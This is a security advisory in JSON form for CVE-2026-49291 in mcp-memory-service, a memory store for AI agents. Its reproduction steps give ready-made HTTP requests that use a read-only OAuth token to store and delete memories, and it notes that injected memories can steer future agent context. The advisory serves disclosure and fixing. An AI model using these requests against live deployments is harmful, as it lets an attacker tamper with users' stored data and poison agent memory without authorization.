CVE-2026-49291: mcp-memory-service OAuth Read-only Clients Can Write Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2r68-g678-7qr3",
  "modified" : "2026-06-26T21:04:38Z",
  "published" : "2026-06-26T21:04:38Z",
  "aliases" : [ "CVE-2026-49291" ],
  "summary" : "mcp-memory-service: OAuth read-only clients can write and delete memories through MCP tools/call",
  "details" : "## Summary\n\nThe HTTP MCP JSON-RPC endpoint at `/mcp` requires only OAuth `read` scope for all requests, then dispatches `tools/call` directly to handlers that include mutating tools. A read-only OAuth client can call `store_memory` and `delete_memory` through MCP even though the corresponding REST endpoints require `write` scope.\n\n## Technical Details\n\n`src/mcp_memory_service/web/api/mcp.py` declares `mcp_endpoint` with `user: AuthenticationResult = Depends(require_read_access)`. For `tools/call`, it extracts the requested tool name and arguments, then calls `handle_tool_call(storage, tool_name, arguments)` without passing the authenticated user or checking a per-tool required scope.\n\nThe MCP tool registry includes both read tools and write tools. In the same handler file, `store_memory` creates a `Memory` object and calls `storage.store(...)`, while `delete_memory` calls `storage.delete(content_hash)`. These operations are reachable with only the `read` scope.\n\nThe REST endpoint demonstrates the intended boundary: `POST /api/memories` uses `Depends(require_write_access)` and rejects a read-only token with 403 `insufficient_scope`.\n\n## Reproduction\n\n1. Enable OAuth and disable anonymous access.\n2. Generate a valid OAuth JWT with only `scope: read`.\n3. Confirm the REST write endpoint rejects it:\n\n```http\nPOST /api/memories\nAuthorization: Bearer <read-only-token>\nContent-Type: application/json\n\n{\"content\":\"rest denied control\"}\n```\n\nExpected and observed: HTTP 403 with `Required scope 'write' not granted`.\n\n4. Send the same read-only token to the MCP endpoint:\n\n```http\nPOST /mcp\nAuthorization: Bearer <read-only-token>\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"store_memory\",\n    \"arguments\": {\n      \"content\": \"mcp read scope stored this\",\n      \"tags\": [\"poc\"]\n    }\n  }\n}\n```\n\nObserved: HTTP 200 JSON-RPC success and the storage `store` sink is reached.\n\n5. A read-only token can also call `delete_memory` through MCP if it knows a content hash:\n\n```http\nPOST /mcp\nAuthorization: Bearer <read-only-token>\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"delete_memory\",\n    \"arguments\": {\"content_hash\": \"<known_hash>\"}\n  }\n}\n```\n\nObserved: HTTP 200 JSON-RPC success and the storage `delete` sink is reached.\n\n## Impact\n\nA client intended to be read-only can inject or delete memories through the MCP API. This can corrupt the memory database, influence future agent context, and destroy stored user memories without the OAuth `write` scope required by the REST API.\n\n## Affected Versions\n\nConfirmed present on current main commit `c99a922477df41f75a44db11182ae48a57311910` and latest release tag `v10.65.0` (`4eb4a62665589f9dd9f8c393afa32de434b4098a`).\n\n## Suggested Fix\n\nEnforce authorization per MCP tool at `tools/call` time. Require `write` for `store_memory` and `delete_memory`, keep `read` only for read-only tools, and add regression tests proving direct `tools/call` to mutating tools is rejected before the handler reaches storage when the caller has only `read` scope.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-memory-service"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.65.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 10.65.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-2r68-g678-7qr3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49291"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/doobidoo/mcp-memory-service"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/mcp-memory-service/10.65.3"
  }, {
    "type" : "WEB",
    "url" : "https://web.archive.org/web/20260508112116/https://github.com/doobidoo/mcp-memory-service"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T21:04:38Z",
    "nvd_published_at" : "2026-06-19T19:16:36Z"
  }
}